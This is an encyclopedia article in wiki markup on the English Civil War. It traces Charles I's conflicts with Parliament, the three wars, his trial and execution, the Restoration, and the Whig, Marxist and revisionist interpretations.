Contemporaries must have found it unthinkable that a civil war could result from the events taking place. War broke out less than forty years after the death of the popular [[Elizabeth I of England|Elizabeth I]] in 1603. At the accession of Charles I, England and Scotland had both experienced relative peace, both internally and in their relations with each other, for as long as anyone could remember. Charles hoped to unite the kingdoms of England, Scotland and Ireland into a new single kingdom, fulfilling the dream of his father, [[James I of England]] (James VI of Scotland). Many English Parliamentarians had suspicions regarding such a move because they feared that setting up  a new kingdom might destroy the old English traditions which had bound the English monarchy. As Charles shared his father's position on the power of the crown (James had described kings as &quot;little Gods on Earth&quot;, chosen by God to rule in accordance with a doctrine called the &quot;[[Divine Right of Kings]]&quot;), the suspicions of the Parliamentarians had some justification. 

Although pious and with little personal ambition, Charles demanded outright loyalty in return for &quot;just rule&quot;. He considered any questioning of his orders as, at best, insulting. This latter trait, and a series of events, seemingly minor on their own, led to a serious break between Charles and his [[English Parliament]], and eventually to war.

==Parliament in the English constitutional framework==
Before the fighting, the [[Parliament of England]] did not have a permanent role in the English system of government, instead functioning as a temporary advisory committee — summoned by the monarch whenever the Crown required additional tax revenue, and subject to dissolution by the monarch at any time. Because responsibility for collecting taxes lay in the hands of the [[gentry]], the English kings needed the help of that stratum of society in order to ensure the smooth collection of that revenue. If the gentry were to refuse to collect the King's taxes, he would lack the authority to compel them. Parliaments allowed representatives of the gentry to meet, confer and send policy-proposals to the monarch in the form of Bills. These representatives did not, however, have any means of forcing their will upon the king — except by withholding the financial means he required to execute his plans.

===Mounting concerns===
[[Image:Sir Peter Lely 001.jpg|thumb|100px|Henrietta Maria, painted by [[Peter Lely]], 1660.]]
One of the first events to cause concern about Charles I came with his marriage to a [[France|French]] [[Roman Catholic]] princess, [[Henrietta Maria]]. The marriage occurred within months of Charles's accession to the throne in [[1625]]. A royal marriage with a foreign princess — commonplace at the time — caused no alarm as such; but Charles's choice of a Catholic bride made him a potential [[Papist]] in the eyes of the small but powerful [[Puritan]] minority in Parliament, who constituted around one-third of the assembly's members at the time. For many of his subjects, Charles's suspected &quot;Papism&quot; gave cause for concern for at least two reasons:
# because the King functioned as the head of the established Church in England, his Bishops, at his request, could possibly stipulate religious practices closer to those of Rome
# the English (since the papal [[excommunication]] of [[Henry VIII of England|Henry VIII]] in [[1533]]), had long associated Roman Catholicism with invasion threats and with political policy imposed from abroad.

A potentially more troublesome issue arose with Charles' insistence on joining in the [[Thirty Years' War]] conflicts then raging in [[Europe]], which he saw as something of a crusade. This alone might not have caused a problem, except that Charles had placed his own &quot;[[favourite]]&quot;, [[George Villiers, 1st Duke of Buckingham]], in command. Parliament showed some degree of suspicion towards Buckingham, with whom they had had to deal under James as well, and eventually they decided to support the war-effort only on the condition of the potential recall of Buckingham if his performance did not meet expectations. The Parliament of 1625 then granted the king the right to collect customs duties for only a year at a time and not, (as tradionally) for his entire reign. After a disastrous raid on [[France]], Parliament dismissed Buckingham in [[1626]], and Charles, furious at what he considered insolence and fearful that they might impeach his favourite, dismissed the Parliament.

===Petition of Right===
Having dissolved Parliament, and unable to raise money without it, the king assembled a new one in [[1628]]. The elected members included [[Oliver Cromwell]]. The new Parliament drew up the [[Petition of Right]] in 1628, and Charles accepted it as a concession in order to get his subsidy. Amongst other things the Petition referred to the [[Magna Carta]] and said that a citizen should have freedom from:

* arbitrary arrest and imprisonment,
* non-parliamentary taxation,
* the enforced billeting of troops, and
* [[martial law]].

However, Charles now determined to rule without summoning another Parliament, and this required him to devise new means of raising extraordinary revenue. The revival and extension of [[ship money]] became one of the most controversial of these policies. Medieval English governments had levied this tax on seaports, but Charles extended it to inland counties as well. According to Charles and his supporters, the Government needed ship money as a levy for the [[Royal Navy]]. As a requirement for the defence of the realm, they argued, it lay within the legitimate scope of the [[royal prerogative]].

But Parliament had not approved the tax, and a number of prominent men refused to pay it on these grounds. Reprisals against Sir [[John Eliot (statesman)|John Eliot]], one of the prime movers behind the Petition of Right, and the prosecution of [[William Prynne]] and [[John Hampden]] (fined after losing their case 7 to 5 for refusing to pay ship money and for making a stand against the legality of the tax) aroused widespread indignation. Charles' use of the Court of [[Star Chamber]] in this issue also angered many, as the people had always seen the Star Chamber as the citizenry's last appeal against the monarch's power, but now apparently being used against them.

==The Eleven Years' Tyranny and the rebellion in Scotland==
Charles I managed to avoid calling a Parliament for a decade. Depending upon one's political affiliation, this time was known either as the &quot;Eleven Years' Tyranny&quot; or &quot;Charles' Personal Rule&quot;. This policy broke down when he was involved in a series of disastrous and expensive wars against his [[Scottish people|Scottish]] subjects, the [[Bishops' Wars]] of 1639 and [[1640]].

Charles believed in a sacramental version of the [[Church of England]], called [[Anglicanism|High Anglicanism]], with a theology based upon [[Arminianism]], a belief shared by his main political advisor, Archbishop [[William Laud]]. Laud was appointed by Charles as the [[Archbishop of Canterbury]] in [[1633]] and started a series of reforms in the Church to make it more ceremonial, starting with the replacement of the wooden communion tables with stone altars. 

Puritans accused Laud of trying to reintroduce [[Catholicism]], and when they complained, Laud had them arrested. In [[1637]] [[John Bastwick]], Henry Burton and William Prynne had their ears cut off for writing pamphlets attacking Laud's views&amp;mdash;a rare penalty for [[gentleman|gentlemen]] to suffer, and one that aroused anger.

As part of Charles' plan to have one uniform High Anglican church across all three kingdoms, he forced the English [[Book of Common Prayer|Common Prayer Book]] upon Scotland. Scottish Presbyterians reacted explosively when it was introduced in the spring of [[1638]] with riots started in [[Edinburgh]] by [[Jenny Geddes]] leading to the [[National Covenant]], that sought to purge bishops from the [[Church of Scotland]] altogether. Charles took a year to raise an army, and sent it north in 1639 to end the rebellion.  After a disastrous skirmish he decided to seek a truce, the [[Pacification of Berwick]], and was humiliated by being forced to agree not only not to interfere with religion in Scotland, but to pay the Scottish war expenses as well.

===Local grievances===
In the summer of 1642, these national troubles helped to polarize opinion, ending indecision about which side to support or what action to take.  Opposition to Charles also arose owing to many local grievances.  For example, the livelihoods of thousands of people were negatively affected by the imposition of drainage schemes in [[The Fens]] after the King awarded a number of drainage contracts. The King was regarded by many as worse than insensitive and this was important in bringing a large part of eastern England into Parliament&amp;#8217;s camp.  This sentiment brought with it people like the [[Edward Montagu, 2nd Earl of Manchester|Earl of Manchester]] and Oliver Cromwell, each a notable wartime adversary of the King.  Conversely, one of the leading drainage contractors, the [[Robert Bertie, 1st Earl of Lindsey|Earl of Lindsey]], was to die fighting for the King at the [[Battle of Edge Hill]].

===Recall of Parliament===
Charles needed to suppress the rebellion in his northern realm&amp;mdash;he was insufficiently funded, however, and was forced to seek money from a recalled [[Parliament]] in 1640. Parliament took this appeal for money as an opportunity to discuss grievances against the Crown; moreover, they were opposed to the military option. Charles took exception to this ''[[lese majesty|lèse-majesté]]'' and dismissed the Parliament. The name &quot;the [[Short Parliament]]&quot; was derived from this summary dismissal. Without Parliament's support, Charles attacked [[Scotland]] again and was comprehensively defeated; the Scots, seizing the moment, took [[Northumberland]] and [[County Durham|Durham]].

Meanwhile, another of Charles's chief advisers, [[Thomas Wentworth, 1st Earl of Strafford|Thomas Wentworth, 1st Viscount Wentworth]], had risen to the role of Lord Deputy of Ireland in [[1632]] and brought in much needed revenue for Charles by persuading the Irish Catholic gentry to pay new taxes in return for promised religious concessions. In 1639, he had been recalled to England and in 1640, was created Earl of Strafford, as Charles attempted to have him work his magic again in Scotland. This time he was not so lucky, and the English forces fled the field in their second encounter with the Scots in 1640. Almost the entirety of Northern England was occupied, and Charles was forced to pay £850 per day to keep the Scots from advancing. If he did not, they would &quot;take&quot; the money by pillaging and burning the cities and towns of Northern England.

===The Long Parliament===
In desperate straits, Charles was obliged to summon Parliament in November 1640; this was the &quot;[[Long Parliament]].&quot; None of the issues raised in the Short Parliament had been addressed, and Parliament took the opportunity to raise them again, refusing to be dismissed. Under the leadership of [[John Pym]] and [[John Hampden]], a law was passed which stated that Parliament should be reformed every three years, and removed the king's right to dissolve the Long Parliament without Parliament's consent. Other laws passed by the Long Parliament made it illegal for the king to impose his own taxes, and later, gave members control over the king's ministers.

With Ireland apparently peaceful after Strafford's able administration of eight years, Charles thought he saw a way out&amp;mdash;Strafford had raised an Irish Catholic army and was prepared to use it against Scotland. Of course the very thought of a Catholic army campaigning against the Scots from Protestant England was considered outrageous by the parliamentary party. In early [[1641]] Strafford was arrested and sent to the [[Tower of London]], charged with [[treason]]. John Pym made the claim that Wentworth's statements of readiness to campaign against &quot;the kingdom&quot; were in fact directed at England itself. The case could not be proven, so the [[House of Commons]], led by John Pym and [[Henry Vane]], resorted to a [[Bill of Attainder]]. Unlike treason, attainder required not only the burden of proof, but also the king's signature. Charles, still incensed over the Common's handling of Buckingham, refused. Wentworth himself, hoping to head off the war he saw looming, wrote to the king and asked him to reconsider. Thomas Wentworth, Earl of Strafford, was executed on [[May 12]], 1641.

Instead of saving the country from war, Wentworth's sacrifice in fact doomed it to one. Within months, the Irish Catholics, fearing a resurgence of Protestant power, [[Irish Rebellion of 1641|struck first]], and the entire country soon descended into chaos. Rumours circulated that the Irish were being supported by the king, and Puritan members of the Commons were soon agitating that this was the sort of thing Charles had in store for all of them.

On [[January 4]], 1642, Charles attempted to arrest five members of the House of Commons ([[John Hampden]], [[John Pym]], [[Arthur Haselrig]], [[Denzil Holles]], and [[William Strode]]) on a charge of [[treason]]; this attempt failed, however, as the five members received a tip-off and, prior to the arrival of the king with a party of soldiers, went into hiding. When the troops marched into Parliament, Charles asked [[William Lenthall]], the [[Speaker (politics)|Speaker]], where the five were. Lenthall replied  &quot;''May it please your Majesty, I have neither eyes to see nor tongue to speak in this place but as the House [of Commons] is pleased to direct me, whose servant I am here''&quot;. In other words, the Speaker proclaimed himself a servant of Parliament, rather than of the King.  Parliamentary supporters took to arms to protect the five men as they escaped across [[London]].

==The First English Civil War==
[[Image:English civil war map 1642 to 1645.JPG|thumb|220px|Maps of territory held by Royalists (red) and Parliamentarians (yellow), 1642 — 1645.]]
:''Main article [[First English Civil War]].''

The &quot;Long Parliament&quot;, having controverted the king's authority, raised an army led by [[Robert Devereux, 3rd Earl of Essex]]. This army had a twofold purpose: to defeat both an invasion from Scotland and also to prevent the attempts by the King and his supporters to restore the monarchy's power. Charles I, in the meantime, had left [[London]] and also raised an army using the archaic system of a [[Commission of Array]]. He raised the [[Royal Standard | royal standard]] at [[Nottingham]] in August.

In September 1642, King Charles I raised his standard in the market square of [[Wellington, Shropshire|Wellington]], a small, though highly influential, market town in the English Midland county of [[Shropshire]] and addressed his troops the next day at nearby [[Orleton Hall]]. He declared that he would uphold the Protestant Religion, the Laws of England, and the Liberty of Parliament.

At the outset of the conflict, much of the country remained neutral, though the [[Royal Navy]] and most English cities favoured Parliament, while the king found considerable support in rural communities. Historians estimate that between them, both sides had only about 15,000 men. However, the war quickly spread and eventually involved every level of society throughout the [[British Isles]]. Many areas attempted to remain neutral but found it impossible to withstand both the King and Parliament. On one side, the King and his supporters fought for traditional government in Church and state. On the other, supporters of Parliament sought radical changes in religion and economic policy and major reforms in the distribution of power at the national level. In addition, Parliament was not a united body; at one point in the nine years of war, there were more members of the Commons and Lords in the King's [[Oxford Parliament (1644)|Oxford Parliament]] than there were at [[Palace of Westminster|Westminster]].

Parliament did, however, have more resources at its disposal, due to its possession of all major cities including the large arsenals at [[Kingston upon Hull|Hull]] and [[London]]. For his part, Charles hoped that quick victories would negate Parliament's advantage in [[materiel]]. This precipitated the first major siege, the [[siege of Hull (1642)|first siege of Hull]] in July 1642, which provided a decisive victory for Parliament.

[[Image:Oliver Cromwell.jpg|thumb|100px|[[Oliver Cromwell]].]]
The first [[pitched battle]] at [[Battle of Edgehill|Edgehill]] proved inconclusive, but both the Royalist and Parliamentarian sides claimed it as a victory. One of the king's outstanding officers, his nephew, [[Prince Rupert|Prince Rupert of the Palatinate]], proved himself a dashing [[cavalry]] commander.  (A Parliamentarian cavalry troop raised by a country gentleman, evangelical puritan, and Member of Parliament named [[Oliver Cromwell]] also played a minor part in the battle. Cromwell would later devise the [[New Model Army]] system still evident in military organisation today. The New Model featured a unified command structure and [[professional]]ism, which would swing the military advantage firmly towards Parliament.) The second field action of the war, the stand-off at [[Turnham Green]], saw Charles forced to withdraw to [[Oxford]]. This city would serve as his base for the remainder of the war.

In [[1643]] the Royalist forces won at [[Battle of Adwalton Moor|Adwalton Moor]] and gained control of most of [[Yorkshire]]. In the Midlands, a Parliamentary force under [[Sir John Gell]] besieged and captured the cathedral city of [[Lichfield]] after the death of the original commander, Lord Brooke, and subsequently joined forces with Sir John Brereton to fight the inconclusive [[battle of Hopton Heath]], where the Royalist commander, the [[Earl of Northampton]], was killed. Subsequent battles in the west of England at [[Battle of Lansdowne|Lansdowne]] and at [[Battle of Roundway Down|Roundway Down]] also went to the Royalists. Prince Rupert could then take [[Bristol]]. In the same year, Oliver Cromwell formed his troop of &quot;[[Ironside (cavalry)|Ironside]]s&quot;, a disciplined unit which demonstrated his military leadership ability. With their assistance, he was victorious at the [[Battle of Gainsborough]] in July.

In the general, the early part of the war went well for the Royalists.  The turning point came in the late Summer and early Autumn of 1643, when the Earl of Essex's army forced the king to raise the siege of Gloucester and then brushed the Royalist army aside at the First Battle of Newbury, in order to return triumphantly to London.  Other Parliamentarian forces won the [[Battle of Winceby]], giving them control of [[Lincoln, England|Lincoln]]. Political manoeuvring on both sides now led Charles to negotiate a ceasefire in [[Ireland]], freeing up English troops to fight on the Royalist side, while Parliament offered concessions to the Scots in return for aid and assistance.

Parliament won at [[Battle of Marston Moor|Marston Moor]] in [[1644]], gaining [[York]] with the help of the Scots. Cromwell's conduct in this battle proved decisive; and demonstrated his potential as a political or military leader. The defeat at the [[Battle of Lostwithiel]] in [[Cornwall]], however, marked a serious reverse for Parliament in the south-west of England.

In 1645, Parliament reorganized its main forces into the [[New Model Army]], under the command of Sir [[Thomas Fairfax, 3rd Baron Fairfax of Cameron|Thomas Fairfax]], with Cromwell as his second-in-command and [[Lieutenant General|Lieutenant-General]] of Horse. In what were, in retrospect, two decisive engagements&amp;mdash;the Battles of [[Battle of Naseby|Naseby]] on [[June 14]] and of [[Battle of Langport|Langport]] on [[July 10]]&amp;mdash;Charles's armies were effectively destroyed.

In the remains of his English realm, Charles attempted to recover stability by consolidating the [[Midlands]]. He began to form an axis between Oxford and [[Newark on Trent]], Nottinghamshire. Those towns had become fortresses and were more reliably loyal to him than to others. He took [[Leicester]], which lies between them, but found his resources exhausted. Having little opportunity to replenish them, on May 1646, he sought shelter with a Scottish army at [[Southwell, Nottinghamshire|Southwell]] in Nottinghamshire. This marked the end of the First English Civil War.

==The Second English Civil War==
:''Main article [[Second English Civil War]].''

Charles I took advantage of this deflection of attention away from himself to negotiate a new agreement with the Scots, again promising church reform on [[December 28]], 1647. Although Charles himself was still a prisoner, this agreement led inexorably to the Second Civil War.

A series of Royalist uprisings throughout England and a Scottish invasion occurred in the summer of 1648. Most of the uprisings in England were put down by forces loyal to Parliament after little more than skirmishes, but uprisings in Kent, Essex and  Cumberland, the rebellion in Wales and the Scottish invasion involved the fighting of pitched battles and prolonged sieges.

In the spring of 1648 unpaid parliamentarian troops in [[Wales]] changed sides. The Royalist rebels were defeated by Colonel [[Thomas Horton]] at the [[battle of St. Fagans]] ([[May 8]]) and the rebel leaders surrendered to Cromwell on [[July 11]] after the protracted two month [[siege of Pembroke]]. A Royalist uprising in Kent was defeated by [[Sir Thomas Fairfax]] at the [[battle of Maidstone]] on [[June 24]]. Fairfax, after his success at [[Maidstone]] and the pacification of [[Kent]], turned northward to reduce [[Essex]], where, under their ardent, experienced and popular leader Sir [[Charles Lucas]], the Royalists were in arms in great numbers. Fairfax soon drove the enemy into [[Colchester]], but the first attack on the town was repulsed and he had to settle down to [[siege of Colchester|a long siege]].

In the North of England Major-General [[John Lambert (General)|John Lambert]] fought very successful campaign against a number of Royalist uprisings. The largest was that of Sir [[Marmaduke Langdale]] in [[Cumberland]].  Thanks to the successes of Lambert and the Scottish commander the [[James Hamilton, 3rd Marquess and 1st Duke of Hamilton|Duke of Hamilton]] was forced to take the west route through Carlisle for the Royalist Scottish invasion of England.  The Parliamentarians under Cromwell engaged the Scots at the [[Battle of Preston (1648)|Battle of Preston]] ([[August 17]] &amp;ndash; [[August 19]]). The battle was  fought largely at [[Walton-le-Dale]] near [[Preston]] in [[Lancashire]], and resulted in a victory by the troops of Cromwell over the [[Cavaliers|Royalist]]s and Scots commanded by Hamilton. This Parliamentarian victory marked the end of the Second English Civil War.

Nearly all the Royalists who had fought in the First Civil War had given their parole not to bear arms against the Parliament, and many honourable Royalists, like [[Jacob Astley, 1st Baron Astley of Reading|Lord Astley]], refused to break their word by taking any part in the second war. So the victors in the Second Civil War were not merciful to those who had brought war into the land again. On the evening of the surrender of Colchester, Sir Charles Lucas and Sir [[George Lisle]] were shot. The leaders of the Welsh rebels Major-General [[Rowland Laugharne]], Colonel [[John Poyer]] and Colonel [[Rice Powel]]&lt;!--Some sources use Powell--&gt; were sentenced to death, but Poyer alone was executed on [[April 25]] [[1649]], being the victim selected by lot. Of five prominent Royalist peers who had fallen into the hands of Parliament, three, the Duke of Hamilton, the [[Henry Rich, 1st Earl of Holland|Earl of Holland]], and [[Arthur Capell, 1st Baron Capell|Lord Capel]], one of the Colchester prisoners and a man of high character, were beheaded at Westminster on [[March 9]].

==Trial of Charles I for treason==
The betrayal by Charles caused Parliament to debate whether Charles should be returned to power at all. Those who still supported Charles's place on the throne tried once more to negotiate with him.  

Furious that Parliament continued to countenance Charles as a ruler, the army marched on parliament and conducted &quot;[[Pride's Purge]]&quot; (named after the commanding officer of the operation, [[Thomas Pride]]) in December 1648. 45 Members of Parliament (MPs) were arrested; 146 were kept out of parliament. Only 75 were allowed in, and then only at the army's bidding. This [[Rump Parliament]] was ordered to set up a high court of justice in order to try Charles I for treason in the name of the people of England.

The trial reached its forgone conclusion. [[List of regicides of Charles I|59 Commissioners]] (judges) found Charles I guilty of [[high treason]], being a &quot;tyrant, traitor, murderer and public enemy&quot;.  He was [[Decapitation|beheaded]] on a scaffold in front of the [[Banqueting House]] of the [[Palace of Whitehall]] on [[January 30]], 1649. At the [[English Restoration|Restoration]] the [[regicide]]s who were still alive and not living in exile were either executed or sentenced to life imprisonment.

==The Third English Civil War==
:''Main article [[Third English Civil War]].''

===Ireland===
:''See also the [[Cromwellian conquest of Ireland]].''

Ireland had known continuous war since the [[Irish Rebellion of 1641|rebellion of 1641]], with most of the island controlled by the [[Confederate Ireland|Irish Confederates]]. Increasingly threatened by the armies of the English Parliament after Charles I's arrest in 1648, the Confederates signed a treaty of alliance with the English Royalists. The joint Royalist and Confederate forces under [[James Butler, 1st Duke of Ormonde|Ormonde]] attempted to eliminate the Parliamentary army holding [[Dublin]], but were routed at the [[Battle of Rathmines]]. As the former Member of Parliament [[Admiral Robert Blake]] blockaded [[Prince Rupert of the Rhine]]'s fleet in [[Kinsale]], Oliver Cromwell was able to land at [[Dublin]] on August 15, 1649 with the army to quell Royalist alliance in [[Ireland]]. Cromwell's suppression of the Royalists in [[Ireland]] during 1649 still has a strong resonance for many Irish people.  The massacre of nearly 3,500 people in [[Drogheda]] after its [[siege of Drogheda|capture]]&amp;mdash;comprising around 2,700 Royalist soldiers and all the men in the town carrying arms, including civilians, prisoners, and Catholic priests&amp;mdash;is one of the historical memories that has driven Irish-English and Catholic-Protestant strife during the last three centuries. However, the massacre is significant mainly as a symbol of the Irish perception of Cromwellian cruelty, as far more people died in the subsequent [[guerrilla warfare|guerrilla]] and scorched earth fighting in the country than at infamous massacres such as Drogheda and [[Wexford]]. The [[Parliamentarian]] conquest of Ireland ground on for another four years until 1653, when the last [[Confederate Ireland|Irish Confederate]] and Royalist troops surrendered. It has been estimated that up to 30% of Ireland's population either died or were exiled by the end of the wars. Almost all Irish Catholic owned land was confiscated in the wake of the conquest and distributed to the Parliament's creditors, to the Parliamentary soldiers who served in Ireland, and to English people who had settled there before the war.

===Scotland===
The execution of [[Charles I of England|Charles I]] altered the dynamics of the [[Scottish Civil War]], which had been raging between Royalists and [[Covenanters]] since 1644. By 1649, the Royalists there were in dissaray and their erstwhile leader, Montrose, was in exile. At first, [[Charles II of England|Charles II]] encouraged the [[James Graham, 1st Marquess of Montrose|Earl of Montrose]] to raise a Highland army to fight on the Royalist side. However, when the Scottish Covenanters (who did not agree with the execution of Charles I and who feared for the future of [[Presbyterianism]] and Scottish independence under the new [[Commonwealth of England|Commonwealth]]) offered him the crown of Scotland, Charles abandoned Montrose to his enemies. However, Montrose, who had raised a [[mercenary]] force in [[Norway]], had already landed was unable to abandon the fight. He was unable to raise many Highland clans and his army was defeated at Carbisdale in [[Ross-shire]] on [[April 27]], [[1650]]. Montrose was captured shortly afterwards and taken to Edinburgh, where on [[May 20]] he was sentenced to death by the Scottish parliament and was hanged the next day. Charles landed in Scotland at [[Garmouth]] in [[Morayshire]] on [[June 23]] 1650 and signed the [[1638]] [[National Covenant]] and the [[1643]] [[Solemn League and Covenant]] immediately after coming ashore.

[[Image:Cromwell at Dunbar Andrew Carrick Gow.jpg|thumb|275px|right|&quot;Cromwell at Dunbar&quot;,  Andrew Carrick Gow.]]
With his original Scottish Royalist followers and his new Covenanter allies, King Charles II was considered to be the greatest threat facing the new English Republic. In response to the threat, Cromwell left some of his lieutenants in Ireland to continue the suppression of the Irish Royalists and crossed the Irish channel to Scotland. He arrived in Scotland on [[July 22]] 1650 and proceeded to lay siege to Edinburgh. By the end of August, his army was reduced by disease and a shortage of supplies, and he was forced to order a retreat towards England. A Scottish army, assembled under the command of [[David Leslie]], tried to block the retreat, but the Scotts were defeated at the [[Battle of Dunbar (1650)|Battle of Dunbar]] on [[September 3]]. Cromwell's army then took Edinburgh, and by the end of the year, his army had occupied much of southern Scotland.

In July 1651, Cromwell's forces crossed the [[Firth of Forth]] into [[Fife]] and defeated the Scots at the [[Battle of Inverkeithing]]. The New Model Army advanced towards [[Perth, Scotland|Perth]], which allowed Charles at the head of the Scottish army to move south into England. Cromwell followed Charles into England leaving [[George Monck]] to finish the campaign in Scotland. Monck took [[Stirling]] on the [[August 14]] and [[Dundee]] on [[September 1]]. The next year, 1652,  the remnants of Royalist resistance were mopped up and under the terms of the &quot;[[Tender of Union]]&quot;, the Scots were given 30 seats in a united Parliament in London, with General Monck appointed as the military governor of Scotland.

===England===
Although Cromwell's New Model Army had defeated a Scottish army at Dunbar, Cromwell was unable to prevent Charles II from marching from Scotland deep into England at the head of another Royalist army. The Royalist army marched to the west of England because it was in that area that English Royalist sympathies were strongest, but although some English Royalists joined the army, they came in far fewer numbers than Charles and his Scottish supporters had hoped. Cromwell finally engaged the new king at [[Battle of Worcester|Worcester]] on [[September 3]], 1651, and defeated him. [[Escape of Charles II|Charles II escaped]], via safe houses and a famous [[Royal Oak (tree)|oak tree]] to France, ending the civil wars.

==Political control==
During the course of the Wars, a number of successive committees were established by the Parliamentarians to oversee the war effort.  The first of these was the [[English Committee of Safety|Committee of Safety]], created in July 1642, which comprised 15 Members of Parliament. 

Following the [[England|Anglo]]-[[Scotland|Scottish]] alliance against the [[Cavaliers|Royalist]]s, it was replaced by the [[Committee of Both Kingdoms]] between 1644 and 1648, when it was dissolved as the alliance ended. The English members of the former Committee for Both Kingdoms continued to meet and became known as the [[Derby House Committee]]. This in turn was replaced by a second Committee of Safety.

==Aftermath==
Estimates suggest that around 10 percent of the three kingdoms' population may have died during the civil wars.  As usual in wars of this era, disease caused more deaths than combat did.

The wars left England, Ireland and Scotland as three of the few countries in Europe without a monarch.  In the wake of victory, many of the ideals (and many of the idealists) became sidelined.  The republican government of the [[Commonwealth of England]] ruled England (and later all of Scotland and Ireland) during 1649 — 1653 and 1659 — [[1660]]. Between the two periods, and due to in-fighting amongst various factions in Parliament, [[Oliver Cromwell]] ruled over [[The Protectorate]] as [[Lord Protector]] (effectively a military [[dictator]]) until his death in 1658.

Upon his death, Oliver Cromwell's son, [[Richard Cromwell|Richard]], became Lord Protector. But the Army had little confidence in him. After seven months the Army removed Richard and in May 1659 it reinstalled the Rump. However, this too was dissolved shortly afterwards, since it acted as though nothing had changed since 1653 and so it could treat the Army how it liked. After the dissolution of the Rump in October 1659, a real prospect of a total descent into anarchy loomed as the Army's pretence of unity finally dissolved into factions. 

Into this atmosphere General [[George Monck, 1st Duke of Albemarle | George Monck]], governor of Scotland under the Cromwells, marched south with his army from Scotland. On [[April 4]] 1660, in the [[Declaration of Breda]] [[Charles II of England|Charles II]] made known the conditions of his acceptance of the crown of England. Monck organised the [[Convention Parliament#Convention Parliament of 1660|Convention Parliament]], which met for the first time on [[April 25]]. On [[May 8]] it declared that King Charles II had reigned as the lawful monarch since the execution of Charles I in January 1649. Charles returned from exile on [[May 23]]. Later in London, on [[May 29]], he was acclaimed king. His coronation took place at [[Westminster Abbey]] on [[23 April]] 1661. These events became known as the ''[[English Restoration]]''.

As they resulted in the restoration of the monarchy with the consent of Parliament, the civil wars effectively set England and Scotland on course to adopt a [[parliamentary monarchy]] form of government. This system would result in the outcome that the [[United Kingdom]], formed under the [[Act of Union 1707|Acts of Union]], would avoid participation in the European republican movements that followed the [[Jacobin]] revolution in [[18th century | 18th-century]] France and the later success of [[Napoleon]]. Specifically, future monarchs became wary of pushing Parliament too hard, and Parliament effectively chose the line of succession in [[1688]] with the [[Glorious Revolution]] and the [[1701]] [[Act of Settlement 1701|Act of Settlement]]. After the [[English Restoration|Restoration]], Parliament's factions became [[political party|political parties]] (later becoming the [[Tory|Tories]] and [[Whig (UK)|Whigs]]) with competing views and varying abilities to influence the decisions of their monarchs.

==Theories relating to the English Civil War==
Throughout the greater part of the [[20th century]], two schools of thought dominated theoretical explanations of the Civil War: the [[Marxism|Marxist]]s and the 'Whigs'.  Both of them explained the English seventeenth century in terms of long-term trends.  

Whigs explained the Civil War as the result of a centuries-long struggle between Parliament (especially the House of Commons) and the monarchy.  Parliament fought to defend the traditional rights of Englishmen, while the monarchy attempted on every occasion to expand its right to dictate law arbitrarily.  The most important Whig historian, [[Samuel Rawson Gardiner|S.R. Gardiner]], popularized the idea of describing the civil war as a 'Puritan Revolution' which challenged the repressive nature of the Stuart church and paved the way for the [[religious toleration]] of the Restoration. Puritanism, in this view, became the natural ally of a people seeking to preserve their traditional rights against the arbitrary power of the monarchy.

The Marxist school of thought, which became popular in the [[1940s]], interpreted the Civil War as a [[bourgeois]] [[revolution]].  In the words of [[Christopher Hill (historian)|Christopher Hill]], &quot;the Civil War was a class war&quot;.  On the side of reaction stood the [[landed aristocracy]] and its ally, the [[established church]].  On the other side stood (again, according to Hill) &quot;the trading and industrial classes in town and countryside, [...] the yeomen and progressive gentry, and [...] wider masses of the population whenever they were able by free discussion to understand what the struggle was really about&quot;.  The Civil War occurred at the point in English history at which the wealthy [[middle class]]es, already a powerful force in society, liquidated the outmoded medieval system of English government.  Like the Whigs, the Marxists found a place for the role of religion in their account.  Puritanism as a moral system ideally suited the bourgeois class, and so the Marxists identified Puritans as inherently bourgeois.

Beginning in the [[1970s]], a new generation of historians began mounting challenges to the Marxist and Whig theories.  This began with the publication in [[1973]] of the anthology ''[[The Origins of the English Civil War]]'' (edited by [[Conrad Russell]]). These historians disliked the way that Marxists and Whigs explained the Civil War in terms of long-term trends in English society.  The new historians called for, and began producing, studies which focussed on the minute particulars of the years immediately preceding the war, thus returning in some ways to the sort of contingency-based historiography of [[Edward Hyde, 1st Earl of Clarendon|Clarendon]]'s famous contemporary history of the civil war.  As a result, they have demonstrated that the pattern of allegiances in the war did not fit the theories of Whig and Marxist historians.  Puritans, for example, did not necessarily ally themselves with Parliamentarians, and many of them did not identify as bourgeois;  many bourgeois fought on the side of the King;  many landed aristocrats supported Parliament.  

The new generation of historians (commonly called 'Revisionists') have discredited large sections of the Whig and Marxist interpretations of the war. Many of these historians (such as [[Jane Ohlmeyer]]) have discarded the title 'English Civil War' and replaced it with the 'Wars of the three Kingdoms' or even the geographically arguable but politically incorrect 'British Civil Wars'. This forms part of a wider trend in British history towards the study of the whole of the [[British Isles]] ([[Islands of the North Atlantic|IONA]]). This trend is largely a reaction to what is perceived as 'Anglocentric' history, which  concentrates on England and ignores or marginalizes other parts of the British Isles. These revisionist historians argue that one cannot fully understand the English civil war in isolation; it needs to stand as just one conflict in a series of interlocking conflicts throughout the British Isles. They see the causes of the war as a consequence arising from one king, Charles I, ruling over multiple kingdoms. For example, the wars unfolded when Charles I tried to impose an Anglican prayer book on Scotland; when the Scots resisted he declared war on them, but had to raise heavy taxes in England to pay for campaigning, which triggered the Civil War in England.

==Re-enactments==
Two large historical societies exist, [[The Sealed Knot (reenactment)|The Sealed Knot]] and [[The English Civil War Society]], which regularly re-enact events and battles of the Civil War in full period costume.

==See also==
* [[The Levellers|Levellers]], [[Fifth Monarchists]],  [[Quaker history|Quakers]], [[Diggers (True Levellers)|Diggers]] and [[Ranters]]
* [[Thirty Years War|The Thirty Years' War]] for a defining moment in European history during the reign of Charles I.
* [[Timeline of events leading to the English Civil War|Timeline of English Civil War events]]

== External links ==
*[http://members.lycos.co.uk/chrishill61/civil_war_newark.htm Civil War Newark] All about the castles, sieges and defences of the English Civil war (in Newark, near Nottingham)
*[http://www.historyguide.org/earlymod/lecture7c.html Lecture 7: The English Civil War] An essay on the Politics of the English Civil War
*[http://badley.info/history/Civil-War-England.general.html English Civil War Chronology World History Database]
*[http://www.historybookshop.com/articles/commentary/civil-wars-of-three-kingdoms-ht.asp The Wars of the Three Kingdoms] ''The British and Irish Civil Wars'' article by Jane Ohlmeyer, who argues that the English Civil War formed just one of an interlocking set of conflicts that encompassed the British Isles in the mid-seventeenth century
*[http://www.virtualbrum.co.uk/history/civilwar.htm The Civil War around Birmingham 1642&amp;ndash;1648]
*[http://www.marxists.org/archive/hill-christopher/english-revolution/ The English Revolution 1640] by Christopher Hill, Pub Lawrence and Wishart, 1940.

[[Category:English Civil War]]
[[Category:Wars of the Three Kingdoms]]
